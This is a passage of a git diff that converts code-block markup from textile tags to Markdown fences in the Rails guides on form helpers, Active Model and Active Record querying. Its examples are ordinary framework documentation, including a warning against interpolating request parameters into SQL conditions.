<label for="post_author_id_1">D. Heinemeier Hansson</label>
<input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
<label for="post_author_id_2">D. Thomas</label>
<input id="post_author_id_3" name="post[author_id]" type="radio" value="3" />
<label for="post_author_id_3">M. Clark</label>
-</html>
+```
h5. collection_check_boxes
@@ -1192,7 +1192,7 @@ Returns +check_box+ tags for the collection of existing return values of +method
Example object structure for use with this method:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
has_and_belongs_to_many :author
end
@@ -1203,17 +1203,17 @@ class Author < ActiveRecord::Base
"#{first_name.first}. #{last_name}"
end
end
-</ruby>
+```
Sample usage (selecting the associated Authors for an instance of Post, +@post+):
-<ruby>
+```ruby
collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial)
-</ruby>
+```
If <tt>@post.author_ids</tt> is <tt><notextile>[1]</notextile></tt>, this would return:
-<html>
+```html
<input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" checked="checked" />
<label for="post_author_ids_1">D. Heinemeier Hansson</label>
<input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
@@ -1221,7 +1221,7 @@ If <tt>@post.author_ids</tt> is <tt><notextile>[1]</notextile></tt>, this would
<input id="post_author_ids_3" name="post[author_ids][]" type="checkbox" value="3" />
<label for="post_author_ids_3">M. Clark</label>
<input name="post[author_ids][]" type="hidden" value="" />
-</html>
+```
h5. country_options_for_select
@@ -1237,7 +1237,7 @@ Returns a string of +option+ tags, like +options_from_collection_for_select+, bu
Example object structure for use with this method:
-<ruby>
+```ruby
class Continent < ActiveRecord::Base
has_many :countries
# attribs: id, name
@@ -1247,17 +1247,17 @@ class Country < ActiveRecord::Base
belongs_to :continent
# attribs: id, name, continent_id
end
-</ruby>
+```
Sample usage:
-<ruby>
+```ruby
option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
-</ruby>
+```
Possible output:
-<html>
+```html
<optgroup label="Africa">
<option value="1">Egypt</option>
<option value="4">Rwanda</option>
@@ -1269,7 +1269,7 @@ Possible output:
<option value="5">Japan</option>
...
</optgroup>
-</html>
+```
Note: Only the +optgroup+ and +option+ tags are returned, so you still have to wrap the output in an appropriate +select+ tag.
@@ -1277,10 +1277,10 @@ h5. options_for_select
Accepts a container (hash, array, enumerable, your type) and returns a string of option tags.
-<ruby>
+```ruby
options_for_select([ "VISA", "MasterCard" ])
# => <option>VISA</option> <option>MasterCard</option>
-</ruby>
+```
Note: Only the +option+ tags are returned, you have to wrap this call in a regular HTML +select+ tag.
@@ -1288,16 +1288,16 @@ h5. options_from_collection_for_select
Returns a string of option tags that have been compiled by iterating over the +collection+ and assigning the result of a call to the +value_method+ as the option value and the +text_method+ as the option text.
-<ruby>
+```ruby
# options_from_collection_for_select(collection, value_method, text_method, selected = nil)
-</ruby>
+```
For example, imagine a loop iterating over each person in @project.people to generate an input tag:
-<ruby>
+```ruby
options_from_collection_for_select(@project.people, "id", "name")
# => <option value="#{person.id}">#{person.name}</option>
-</ruby>
+```
Note: Only the +option+ tags are returned, you have to wrap this call in a regular HTML +select+ tag.
@@ -1307,20 +1307,20 @@ Create a select tag and a series of contained option tags for the provided objec
Example:
-<ruby>
+```ruby
select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, { :include_blank => true })
-</ruby>
+```
If <tt>@post.person_id</tt> is 1, this would become:
-<html>
+```html
<select name="post[person_id]">
<option value=""></option>
<option value="1" selected="selected">David</option>
<option value="2">Sam</option>
<option value="3">Tobias</option>
</select>
-</html>
+```
h5. time_zone_options_for_select
@@ -1330,9 +1330,9 @@ h5. time_zone_select
Return select and option tags for the given object and method, using +time_zone_options_for_select+ to generate the list of option tags.
-<ruby>
+```ruby
time_zone_select( "user", "time_zone")
-</ruby>
+```
h4. FormTagHelper
@@ -1342,21 +1342,21 @@ h5. check_box_tag
Creates a check box form input tag.
-<ruby>
+```ruby
check_box_tag 'accept'
# => <input id="accept" name="accept" type="checkbox" value="1" />
-</ruby>
+```
h5. field_set_tag
Creates a field set for grouping HTML form elements.
-<ruby>
+```ruby
<%= field_set_tag do %>
<p><%= text_field_tag 'name' %></p>
<% end %>
# => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
-</ruby>
+```
h5. file_field_tag
@@ -1364,111 +1364,111 @@ Creates a file upload field.
Prior to Rails 3.1, if you are using file uploads, then you will need to set the multipart option for the form tag. Rails 3.1+ does this automatically.
-<ruby>
+```ruby
<%= form_tag { :action => "post" }, { :multipart => true } do %>
<label for="file">File to Upload</label> <%= file_field_tag "file" %>
<%= submit_tag %>
<% end %>
-</ruby>
+```
Example output:
-<ruby>
+```ruby
file_field_tag 'attachment'
# => <input id="attachment" name="attachment" type="file" />
-</ruby>
+```
h5. form_tag
Starts a form tag that points the action to an url configured with +url_for_options+ just like +ActionController::Base#url_for+.
-<ruby>
+```ruby
<%= form_tag '/posts' do %>
<div><%= submit_tag 'Save' %></div>
<% end %>
# => <form action="/posts" method="post"><div><input type="submit" name="submit" value="Save" /></div></form>
-</ruby>
+```
h5. hidden_field_tag
Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or data that should be hidden from the user.
-<ruby>
+```ruby
hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
# => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
-</ruby>
+```
h5. image_submit_tag
Displays an image which when clicked will submit the form.
-<ruby>
+```ruby
image_submit_tag("login.png")
# => <input src="/images/login.png" type="image" />
-</ruby>
+```
h5. label_tag
Creates a label field.
-<ruby>
+```ruby
label_tag 'name'
# => <label for="name">Name</label>
-</ruby>
+```
h5. password_field_tag
Creates a password field, a masked text field that will hide the users input behind a mask character.
-<ruby>
+```ruby
password_field_tag 'pass'
# => <input id="pass" name="pass" type="password" />
-</ruby>
+```
h5. radio_button_tag
Creates a radio button; use groups of radio buttons named the same to allow users to select from a group of options.
-<ruby>
+```ruby
radio_button_tag 'gender', 'male'
# => <input id="gender_male" name="gender" type="radio" value="male" />
-</ruby>
+```
h5. select_tag
Creates a dropdown selection box.
-<ruby>
+```ruby
select_tag "people", "<option>David</option>"
# => <select id="people" name="people"><option>David</option></select>
-</ruby>
+```
h5. submit_tag
Creates a submit button with the text provided as the caption.
-<ruby>
+```ruby
submit_tag "Publish this post"
# => <input name="commit" type="submit" value="Publish this post" />
-</ruby>
+```
h5. text_area_tag
Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.
-<ruby>
+```ruby
text_area_tag 'post'
# => <textarea id="post" name="post"></textarea>
-</ruby>
+```
h5. text_field_tag
Creates a standard text field; use these text fields to input smaller chunks of text like a username or a search query.
-<ruby>
+```ruby
text_field_tag 'name'
# => <input id="name" name="name" type="text" />
-</ruby>
+```
h4. JavaScriptHelper
@@ -1478,13 +1478,13 @@ h5. button_to_function
Returns a button that'll trigger a JavaScript function using the onclick handler. Examples:
-<ruby>
+```ruby
button_to_function "Greeting", "alert('Hello world!')"
button_to_function "Delete", "if (confirm('Really?')) do_delete()"
button_to_function "Details" do |page|
page[:details].visual_effect :toggle_slide
end
-</ruby>
+```
h5. define_javascript_functions
@@ -1498,26 +1498,26 @@ h5. javascript_tag
Returns a JavaScript tag wrapping the provided code.
-<ruby>
+```ruby
javascript_tag "alert('All is good')"
-</ruby>
+```
-<html>
+```html
<script>
//<![CDATA[
alert('All is good')
//]]>
</script>
-</html>
+```
h5. link_to_function
Returns a link that will trigger a JavaScript function using the onclick handler and return false after the fact.
-<ruby>
+```ruby
link_to_function "Greeting", "alert('Hello world!')"
# => <a onclick="alert('Hello world!'); return false;" href="#">Greeting</a>
-</ruby>
+```
h4. NumberHelper
@@ -1527,51 +1527,51 @@ h5. number_to_currency
Formats a number into a currency string (e.g., $13.65).
-<ruby>
+```ruby
number_to_currency(1234567890.50) # => $1,234,567,890.50
-</ruby>
+```
h5. number_to_human_size
Formats the bytes in size into a more understandable representation; useful for reporting file sizes to users.
-<ruby>
+```ruby
number_to_human_size(1234) # => 1.2 KB
number_to_human_size(1234567) # => 1.2 MB
-</ruby>
+```
h5. number_to_percentage
Formats a number as a percentage string.
-<ruby>
+```ruby
number_to_percentage(100, :precision => 0) # => 100%
-</ruby>
+```
h5. number_to_phone
Formats a number into a US phone number.
-<ruby>
+```ruby
number_to_phone(1235551234) # => 123-555-1234
-</ruby>
+```
h5. number_with_delimiter
Formats a number with grouped thousands using a delimiter.
-<ruby>
+```ruby
number_with_delimiter(12345678) # => 12,345,678
-</ruby>
+```
h5. number_with_precision
Formats a number with the specified level of +precision+, which defaults to 3.
-<ruby>
+```ruby
number_with_precision(111.2345) # => 111.235
number_with_precision(111.2345, 2) # => 111.23
-</ruby>
+```
h3. Localized Views
@@ -1583,13 +1583,13 @@ You can use the same technique to localize the rescue files in your public direc
Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to +app/controllers/application.rb+:
-<ruby>
+```ruby
before_filter :set_expert_locale
def set_expert_locale
I18n.locale = :expert if current_user.expert?
end
-</ruby>
+```
Then you could create special views like +app/views/posts/show.expert.html.erb+ that would only be displayed to expert users.
diff --git a/guides/source/active_model_basics.md b/guides/source/active_model_basics.md
index 2c30ddb84c..c02afd1c9a 100644
--- a/guides/source/active_model_basics.md
+++ b/guides/source/active_model_basics.md
@@ -14,7 +14,7 @@ h4. AttributeMethods
The AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes, which methods on the object will use them.
-<ruby>
+```ruby
class Person
include ActiveModel::AttributeMethods
@@ -41,13 +41,13 @@ person.age_highest? # true
person.reset_age # 0
person.age_highest? # false
-</ruby>
+```
h4. Callbacks
Callbacks gives Active Record style callbacks. This provides the ability to define the callbacks and those will run at appropriate time. After defining a callbacks you can wrap with before, after and around custom methods.
-<ruby>
+```ruby
class Person
extend ActiveModel::Callbacks
@@ -65,13 +65,13 @@ class Person
# This method will call when you are calling update on object as a before_update callback as defined.
end
end
-</ruby>
+```
h4. Conversion
If a class defines persisted? and id methods then you can include Conversion module in that class and you can able to call Rails conversion methods to objects of that class.
-<ruby>
+```ruby
class Person
include ActiveModel::Conversion
@@ -88,13 +88,13 @@ person = Person.new
person.to_model == person #=> true
person.to_key #=> nil
person.to_param #=> nil
-</ruby>
+```
h4. Dirty
An object becomes dirty when it has gone through one or more changes to its attributes and has not been saved. This gives the ability to check whether an object has been changed or not. It also has attribute based accessor methods. Let's consider a Person class with attributes first_name and last_name
-<ruby>
+```ruby
require 'active_model'
class Person
@@ -124,11 +124,11 @@ class Person
end
end
-</ruby>
+```
h5. Querying object directly for its list of all changed attributes.
-<ruby>
+```ruby
person = Person.new
person.first_name = "First Name"
@@ -145,13 +145,13 @@ person.changed_attributes #=> {"first_name" => "First Name Changed"}
#returns a hash of changes, with the attribute names as the keys, and the values will be an array of the old and new value for that field.
person.changes #=> {"first_name" => ["First Name","First Name Changed"]}
-</ruby>
+```
h5. Attribute based accessor methods
Track whether the particular attribute has been changed or not.
-<ruby>
+```ruby
#attr_name_changed?
person.first_name #=> "First Name"
@@ -159,28 +159,28 @@ person.first_name #=> "First Name"
person.first_name = "First Name 1"
person.first_name_changed? #=> true
-</ruby>
+```
Track what was the previous value of the attribute.
-<ruby>
+```ruby
#attr_name_was accessor
person.first_name_was #=> "First Name"
-</ruby>
+```
Track both previous and current value of the changed attribute. Returns an array if changed, else returns nil.
-<ruby>
+```ruby
#attr_name_change
person.first_name_change #=> ["First Name", "First Name 1"]
person.last_name_change #=> nil
-</ruby>
+```
h4. Validations
Validations module adds the ability to class objects to validate them in Active Record style.
-<ruby>
+```ruby
class Person
include ActiveModel::Validations
@@ -201,4 +201,4 @@ person.email = 'me@vishnuatrai.com'
person.valid? #=> true
person.token = nil
person.valid? #=> raises ActiveModel::StrictValidationFailed
-</ruby>
+```
diff --git a/guides/source/active_record_basics.md b/guides/source/active_record_basics.md
index 487f8b70f9..a0bb4a8e01 100644
--- a/guides/source/active_record_basics.md
+++ b/guides/source/active_record_basics.md
@@ -74,28 +74,28 @@ h3. Creating Active Record Models
It is very easy to create Active Record models. All you have to do is to subclass the +ActiveRecord::Base+ class and you're good to go:
-<ruby>
+```ruby
class Product < ActiveRecord::Base
end
-</ruby>
+```
This will create a +Product+ model, mapped to a +products+ table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. Suppose that the +products+ table was created using an SQL sentence like:
-<sql>
+```sql
CREATE TABLE products (
id int(11) NOT NULL auto_increment,
name varchar(255),
PRIMARY KEY (id)
);
-</sql>
+```
Following the table schema above, you would be able to write code like the following:
-<ruby>
+```ruby
p = Product.new
p.name = "Some Book"
puts p.name # "Some Book"
-</ruby>
+```
h3. Overriding the Naming Conventions
@@ -103,29 +103,29 @@ What if you need to follow a different naming convention or need to use your Rai
You can use the +ActiveRecord::Base.table_name=+ method to specify the table name that should be used:
-<ruby>
+```ruby
class Product < ActiveRecord::Base
self.table_name = "PRODUCT"
end
-</ruby>
+```
If you do so, you will have to define manually the class name that is hosting the fixtures (class_name.yml) using the +set_fixture_class+ method in your test definition:
-<ruby>
+```ruby
class FunnyJoke < ActiveSupport::TestCase
set_fixture_class :funny_jokes => 'Joke'
fixtures :funny_jokes
...
end
-</ruby>
+```
It's also possible to override the column that should be used as the table's primary key using the +ActiveRecord::Base.set_primary_key+ method:
-<ruby>
+```ruby
class Product < ActiveRecord::Base
set_primary_key "product_id"
end
-</ruby>
+```
h3. CRUD: Reading and Writing Data
@@ -137,52 +137,52 @@ Active Record objects can be created from a hash, a block or have their attribut
For example, given a model +User+ with attributes of +name+ and +occupation+, the +create+ method call will create and save a new record into the database:
-<ruby>
+```ruby
user = User.create(:name => "David", :occupation => "Code Artist")
-</ruby>
+```
Using the +new+ method, an object can be created without being saved:
-<ruby>
+```ruby
user = User.new
user.name = "David"
user.occupation = "Code Artist"
-</ruby>
+```
A call to +user.save+ will commit the record to the database.
Finally, if a block is provided, both +create+ and +new+ will yield the new object to that block for initialization:
-<ruby>
+```ruby
user = User.new do |u|
u.name = "David"
u.occupation = "Code Artist"
end
-</ruby>
+```
h4. Read
Active Record provides a rich API for accessing data within a database. Below are a few examples of different data access methods provided by Active Record.
-<ruby>
+```ruby
# return array with all records
users = User.all
-</ruby>
+```
-<ruby>
+```ruby
# return the first record
user = User.first
-</ruby>
+```
-<ruby>
+```ruby
# return the first user named David
david = User.find_by_name('David')
-</ruby>
+```
-<ruby>
+```ruby
# find all users named David who are Code Artists and sort by created_at in reverse chronological order
users = User.where(:name => 'David', :occupation => 'Code Artist').order('created_at DESC')
-</ruby>
+```
You can learn more about querying an Active Record model in the "Active Record Query Interface":"active_record_querying.html" guide.
@@ -190,20 +190,20 @@ h4. Update
Once an Active Record object has been retrieved, its attributes can be modified and it can be saved to the database.
-<ruby>
+```ruby
user = User.find_by_name('David')
user.name = 'Dave'
user.save
-</ruby>
+```
h4. Delete
Likewise, once retrieved an Active Record object can be destroyed which removes it from the database.
-<ruby>
+```ruby
user = User.find_by_name('David')
user.destroy
-</ruby>
+```
h3. Validations
diff --git a/guides/source/active_record_querying.md b/guides/source/active_record_querying.md
index e21b86721f..436ef3439f 100644
--- a/guides/source/active_record_querying.md
+++ b/guides/source/active_record_querying.md
@@ -18,31 +18,31 @@ Code examples throughout this guide will refer to one or more of the following m
TIP: All of the following models use +id+ as the primary key, unless specified otherwise.
-<ruby>
+```ruby
class Client < ActiveRecord::Base
has_one :address
has_many :orders
has_and_belongs_to_many :roles
end
-</ruby>
+```
-<ruby>
+```ruby
class Address < ActiveRecord::Base
belongs_to :client
end
-</ruby>
+```
-<ruby>
+```ruby
class Order < ActiveRecord::Base
belongs_to :client, :counter_cache => true
end
-</ruby>
+```
-<ruby>
+```ruby
class Role < ActiveRecord::Base
has_and_belongs_to_many :clients
end
-</ruby>
+```
Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same.
@@ -92,17 +92,17 @@ h5. Using a Primary Key
Using <tt>Model.find(primary_key)</tt>, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example:
-<ruby>
+```ruby
# Find the client with primary key (id) 10.
client = Client.find(10)
# => #<Client id: 10, first_name: "Ryan">
-</ruby>
+```
The SQL equivalent of the above is:
-<sql>
+```sql
SELECT * FROM clients WHERE (clients.id = 10) LIMIT 1
-</sql>
+```
<tt>Model.find(primary_key)</tt> will raise an +ActiveRecord::RecordNotFound+ exception if no matching record is found.
@@ -110,16 +110,16 @@ h5. +take+
<tt>Model.take</tt> retrieves a record without any implicit ordering. For example:
-<ruby>
+```ruby
client = Client.take
# => #<Client id: 1, first_name: "Lifo">
-</ruby>
+```
The SQL equivalent of the above is:
-<sql>
+```sql
SELECT * FROM clients LIMIT 1
-</sql>
+```
<tt>Model.take</tt> returns +nil+ if no record is found and no exception will be raised.
@@ -129,16 +129,16 @@ h5. +first+
<tt>Model.first</tt> finds the first record ordered by the primary key. For example:
-<ruby>
+```ruby
client = Client.first
# => #<Client id: 1, first_name: "Lifo">
-</ruby>
+```
The SQL equivalent of the above is:
-<sql>
+```sql
SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
-</sql>
+```
<tt>Model.first</tt> returns +nil+ if no matching record is found and no exception will be raised.
@@ -146,16 +146,16 @@ h5. +last+
<tt>Model.last</tt> finds the last record ordered by the primary key. For example:
-<ruby>
+```ruby
client = Client.last
# => #<Client id: 221, first_name: "Russel">
-</ruby>
+```
The SQL equivalent of the above is:
-<sql>
+```sql
SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
-</sql>
+```
<tt>Model.last</tt> returns +nil+ if no matching record is found and no exception will be raised.
@@ -163,34 +163,34 @@ h5. +find_by+
<tt>Model.find_by</tt> finds the first record matching some conditions. For example:
-<ruby>
+```ruby
Client.find_by first_name: 'Lifo'
# => #<Client id: 1, first_name: "Lifo">
Client.find_by first_name: 'Jon'
# => nil
-</ruby>
+```
It is equivalent to writing:
-<ruby>
+```ruby
Client.where(first_name: 'Lifo').take
-</ruby>
+```
h5(#take_1). +take!+
<tt>Model.take!</tt> retrieves a record without any implicit ordering. For example:
-<ruby>
+```ruby
client = Client.take!
# => #<Client id: 1, first_name: "Lifo">
-</ruby>
+```
The SQL equivalent of the above is:
-<sql>
+```sql
SELECT * FROM clients LIMIT 1
-</sql>
+```
<tt>Model.take!</tt> raises +ActiveRecord::RecordNotFound+ if no matching record is found.
@@ -198,16 +198,16 @@ h5(#first_1). +first!+
<tt>Model.first!</tt> finds the first record ordered by the primary key. For example:
-<ruby>
+```ruby
client = Client.first!
# => #<Client id: 1, first_name: "Lifo">
-</ruby>
+```
The SQL equivalent of the above is:
-<sql>
+```sql
SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
-</sql>
+```
<tt>Model.first!</tt> raises +ActiveRecord::RecordNotFound+ if no matching record is found.
@@ -215,16 +215,16 @@ h5(#last_1). +last!+
<tt>Model.last!</tt> finds the last record ordered by the primary key. For example:
-<ruby>
+```ruby
client = Client.last!
# => #<Client id: 221, first_name: "Russel">
-</ruby>
+```
The SQL equivalent of the above is:
-<sql>
+```sql
SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
-</sql>
+```
<tt>Model.last!</tt> raises +ActiveRecord::RecordNotFound+ if no matching record is found.
@@ -232,19 +232,19 @@ h5(#find_by_1). +find_by!+
<tt>Model.find_by!</tt> finds the first record matching some conditions. It raises +ActiveRecord::RecordNotFound+ if no matching record is found. For example:
-<ruby>
+```ruby
Client.find_by! first_name: 'Lifo'
# => #<Client id: 1, first_name: "Lifo">
Client.find_by! first_name: 'Jon'
# => ActiveRecord::RecordNotFound
-</ruby>
+```
It is equivalent to writing:
-<ruby>
+```ruby
Client.where(first_name: 'Lifo').take!
-</ruby>
+```
h4. Retrieving Multiple Objects
@@ -252,17 +252,17 @@ h5. Using Multiple Primary Keys
<tt>Model.find(array_of_primary_key)</tt> accepts an array of _primary keys_, returning an array containing all of the matching records for the supplied _primary keys_. For example:
-<ruby>
+```ruby
# Find the clients with primary keys 1 and 10.
client = Client.find([1, 10]) # Or even Client.find(1, 10)
# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">]
-</ruby>
+```
The SQL equivalent of the above is:
-<sql>
+```sql
SELECT * FROM clients WHERE (clients.id IN (1,10))
-</sql>
+```
WARNING: <tt>Model.find(array_of_primary_key)</tt> will raise an +ActiveRecord::RecordNotFound+ exception unless a matching record is found for <strong>all</strong> of the supplied primary keys.
@@ -270,49 +270,49 @@ h5(#take-n-objects). take
<tt>Model.take(limit)</tt> retrieves the first number of records specified by +limit+ without any explicit ordering:
-<ruby>
+```ruby
Client.take(2)
# => [#<Client id: 1, first_name: "Lifo">,
#<Client id: 2, first_name: "Raf">]
-</ruby>
+```
The SQL equivalent of the above is:
-<sql>
+```sql
SELECT * FROM clients LIMIT 2
-</sql>
+```
h5(#first-n-objects). first
<tt>Model.first(limit)</tt> finds the first number of records specified by +limit+ ordered by primary key:
-<ruby>
+```ruby
Client.first(2)
# => [#<Client id: 1, first_name: "Lifo">,
#<Client id: 2, first_name: "Raf">]
-</ruby>
+```
The SQL equivalent of the above is:
-<sql>
+```sql
SELECT * FROM clients LIMIT 2
-</sql>
+```
h5(#last-n-objects). last
<tt>Model.last(limit)</tt> finds the number of records specified by +limit+ ordered by primary key in descending order:
-<ruby>
+```ruby
Client.last(2)
# => [#<Client id: 10, first_name: "Ryan">,
#<Client id: 9, first_name: "John">]
-</ruby>
+```
The SQL equivalent of the above is:
-<sql>
+```sql
SELECT * FROM clients ORDER By id DESC LIMIT 2
-</sql>
+```
h4. Retrieving Multiple Objects in Batches
@@ -320,12 +320,12 @@ We often need to iterate over a large set of records, as when we send a newslett
This may appear straightforward:
-<ruby>
+```ruby
# This is very inefficient when the users table has thousands of rows.
User.all.each do |user|
NewsLetter.weekly_deliver(user)
end
-</ruby>
+```
But this approach becomes increasingly impractical as the table size increases, since +User.all.each+ instructs Active Record to fetch _the entire table_ in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available.
@@ -337,11 +337,11 @@ h5. +find_each+
The +find_each+ method retrieves a batch of records and then yields _each_ record to the block individually as a model. In the following example, +find_each+ will retrieve 1000 records (the current default for both +find_each+ and +find_in_batches+) and then yield each record individually to the block as a model. This process is repeated until all of the records have been processed:
-<ruby>
+```ruby
User.find_each do |user|
NewsLetter.weekly_deliver(user)
end
-</ruby>
+```
h6. Options for +find_each+
@@ -353,11 +353,11 @@ Two additional options, +:batch_size+ and +:start+, are available as well.
The +:batch_size+ option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000:
-<ruby>
+```ruby
User.find_each(:batch_size => 5000) do |user|
NewsLetter.weekly_deliver(user)
end
-</ruby>
+```
*+:start+*
@@ -365,11 +365,11 @@ By default, records are fetched in ascending order of the primary key, which mus
For example, to send newsletters only to users with the primary key starting from 2000, and to retrieve them in batches of 5000:
-<ruby>
+```ruby
User.find_each(:start => 2000, :batch_size => 5000) do |user|
NewsLetter.weekly_deliver(user)
end
-</ruby>
+```
Another example would be if you wanted multiple workers handling the same processing queue. You could have each worker handle 10000 records by setting the appropriate <tt>:start</tt> option on each worker.
@@ -379,12 +379,12 @@ h5. +find_in_batches+
The +find_in_batches+ method is similar to +find_each+, since both retrieve batches of records. The difference is that +find_in_batches+ yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices:
-<ruby>
+```ruby
# Give add_invoices an array of 1000 invoices at a time
Invoice.find_in_batches(:include => :invoice_lines) do |invoices|
export.add_invoices(invoices)
end
-</ruby>
+```
NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models.
@@ -406,31 +406,31 @@ h4. Array Conditions
Now what if that number could vary, say as an argument from somewhere? The find would then take the form:
-<ruby>
+```ruby
Client.where("orders_count = ?", params[:orders])
-</ruby>
+```
Active Record will go through the first element in the conditions value and any additional elements will replace the question marks +(?)+ in the first element.
If you want to specify multiple conditions:
-<ruby>
+```ruby
Client.where("orders_count = ? AND locked = ?", params[:orders], false)
-</ruby>
+```
In this example, the first question mark will be replaced with the value in +params[:orders]+ and the second will be replaced with the SQL representation of +false+, which depends on the adapter.
This code is highly preferable:
-<ruby>
+```ruby
Client.where("orders_count = ?", params[:orders])
-</ruby>
+```
to this code:
-<ruby>
+```ruby
Client.where("orders_count = #{params[:orders]}")
-</ruby>
+```
because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
@@ -440,10 +440,10 @@ h5. Placeholder Conditions
Similar to the +(?)+ replacement style of params, you can also specify keys/values hash in your array conditions:
-<ruby>
+```ruby
Client.where("created_at >= :start_date AND created_at <= :end_date",
{:start_date => params[:start_date], :end_date => params[:end_date]})
-</ruby>
+```
This makes for clearer readability if you have a large number of variable conditions.
@@ -455,15 +455,15 @@ NOTE: Only equality, range and subset checking are possible with Hash conditions
h5. Equality Conditions
-<ruby>
+```ruby
Client.where(:locked => true)
-</ruby>
+```
The field name can also be a string:
-<ruby>
+```ruby
Client.where('locked' => true)
-</ruby>
+```
In the case of a belongs_to relationship, an association key can be used to specify the model if an ActiveRecord object is used as the value. This method works with polymorphic relationships as well.
@@ -476,15 +476,15 @@ NOTE: The values cannot be symbols. For example, you cannot do +Client.where(:st
h5(#hash-range_conditions). Range Conditions
-<ruby>
+```ruby
Client.where(:created_at => (Time.now.midnight - 1.day)..Time.now.midnight)
-</ruby>
+```
This will find all clients created yesterday by using a +BETWEEN+ SQL statement:
-<sql>
+```sql
SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
-</sql>
+```
This demonstrates a shorter syntax for the examples in "Array Conditions":#array-conditions
@@ -492,15 +492,15 @@ h5. Subset Conditions
If you want to find records using the +IN+ expression you can pass an array to the conditions hash:
-<ruby>
+```ruby
Client.where(:orders_count => [1,3,5])
-</ruby>
+```
This code will generate SQL like this:
-<sql>
+```sql
SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))
-</sql>
+```
h3(#ordering). Ordering
@@ -508,32 +508,32 @@ To retrieve records from the database in a specific order, you can use the +orde
For example, if you're getting a set of records and want to order them in ascending order by the +created_at+ field in your table:
-<ruby>
+```ruby
Client.order("created_at")
-</ruby>
+```
You could specify +ASC+ or +DESC+ as well:
-<ruby>
+```ruby
Client.order("created_at DESC")
# OR
Client.order("created_at ASC")
-</ruby>
+```
Or ordering by multiple fields:
-<ruby>
+```ruby
Client.order("orders_count ASC, created_at DESC")
# OR
Client.order("orders_count ASC", "created_at DESC")
-</ruby>
+```
If you want to call +order+ multiple times e.g. in different context, new order will prepend previous one
-<ruby>
+```ruby
Client.order("orders_count ASC").order("created_at DESC")
# SELECT * FROM clients ORDER BY created_at DESC, orders_count ASC
-</ruby>
+```
h3. Selecting Specific Fields
@@ -547,45 +547,45 @@ NOTE: If the +select+ method is used, all the returning objects will be "read on
For example, to select only +viewable_by+ and +locked+ columns:
-<ruby>
+```ruby
Client.select("viewable_by, locked")
-</ruby>
+```
The SQL query used by this find call will be somewhat like:
-<sql>
+```sql
SELECT viewable_by, locked FROM clients
-</sql>
+```
Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive:
-<shell>
+```shell
ActiveModel::MissingAttributeError: missing attribute: <attribute>
-</shell>
+```
Where +&lt;attribute&gt;+ is the attribute you asked for. The +id+ method will not raise the +ActiveRecord::MissingAttributeError+, so just be careful when working with associations because they need the +id+ method to function properly.
If you would like to only grab a single record per unique value in a certain field, you can use +uniq+:
-<ruby>
+```ruby
Client.select(:name).uniq
-</ruby>
+```
This would generate SQL like:
-<sql>
+```sql
SELECT DISTINCT name FROM clients
-</sql>
+```
You can also remove the uniqueness constraint:
-<ruby>
+```ruby
query = Client.select(:name).uniq
# => Returns unique names
query.uniq(false)
# => Returns all names, even if there are duplicates
-</ruby>
+```
h3. Limit and Offset
@@ -593,27 +593,27 @@ To apply +LIMIT+ to the SQL fired by the +Model.find+, you can specify the +LIMI
You can use +limit+ to specify the number of records to be retrieved, and use +offset+ to specify the number of records to skip before starting to return the records. For example
-<ruby>
+```ruby
Client.limit(5)
-</ruby>
+```
will return a maximum of 5 clients and because it specifies no offset it will return the first 5 in the table. The SQL it executes looks like this:
-<sql>
+```sql
SELECT * FROM clients LIMIT 5
-</sql>
+```
Adding +offset+ to that
-<ruby>
+```ruby
Client.limit(5).offset(30)
-</ruby>
+```
will return instead a maximum of 5 clients beginning with the 31st. The SQL looks like:
-<sql>
+```sql
SELECT * FROM clients LIMIT 5 OFFSET 30
-</sql>
+```
h3. Group
@@ -621,19 +621,19 @@ To apply a +GROUP BY+ clause to the SQL fired by the finder, you can specify the
For example, if you want to find a collection of the dates orders were created on:
-<ruby>
+```ruby
Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)")
-</ruby>
+```
And this will give you a single +Order+ object for each date where there are orders in the database.
The SQL that would be executed would be something like this:
-<sql>
+```sql
SELECT date(created_at) as ordered_date, sum(price) as total_price
FROM orders
GROUP BY date(created_at)
-</sql>
+```
h3. Having
@@ -641,18 +641,18 @@ SQL uses the +HAVING+ clause to specify conditions on the +GROUP BY+ fields. You
For example:
-<ruby>
+```ruby
